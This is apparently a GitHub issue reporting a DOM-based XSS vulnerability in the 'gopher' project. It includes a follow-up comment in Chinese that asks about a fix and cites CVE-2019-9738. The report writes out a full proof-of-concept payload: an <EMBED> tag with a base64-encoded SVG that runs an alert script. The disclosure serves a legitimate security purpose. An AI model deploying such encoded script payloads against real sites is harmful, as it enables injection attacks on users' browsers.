gopher icon indicating copy to clipboard operation
gopher copied to clipboard

Published 20 hours ago • verified publisher icon jimmykuu

XSS vulnerability in <EMBED> label,SVG include attack vector.

Open YYHYlh opened this issue 5 years ago • 1 comments

This label and attack vector will cause dom-based XSS. if you type <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>，the xss vulnerability will be triggered.

Ai9nCF.png

YYHYlh avatar Mar 12 '19 07:03 YYHYlh

@jimmykuu 嗨，有没有计划解决此漏洞？ 它已经被分配了CVE-2019-9738.. 先感谢您

NicoleG25 avatar Dec 23 '20 10:12 NicoleG25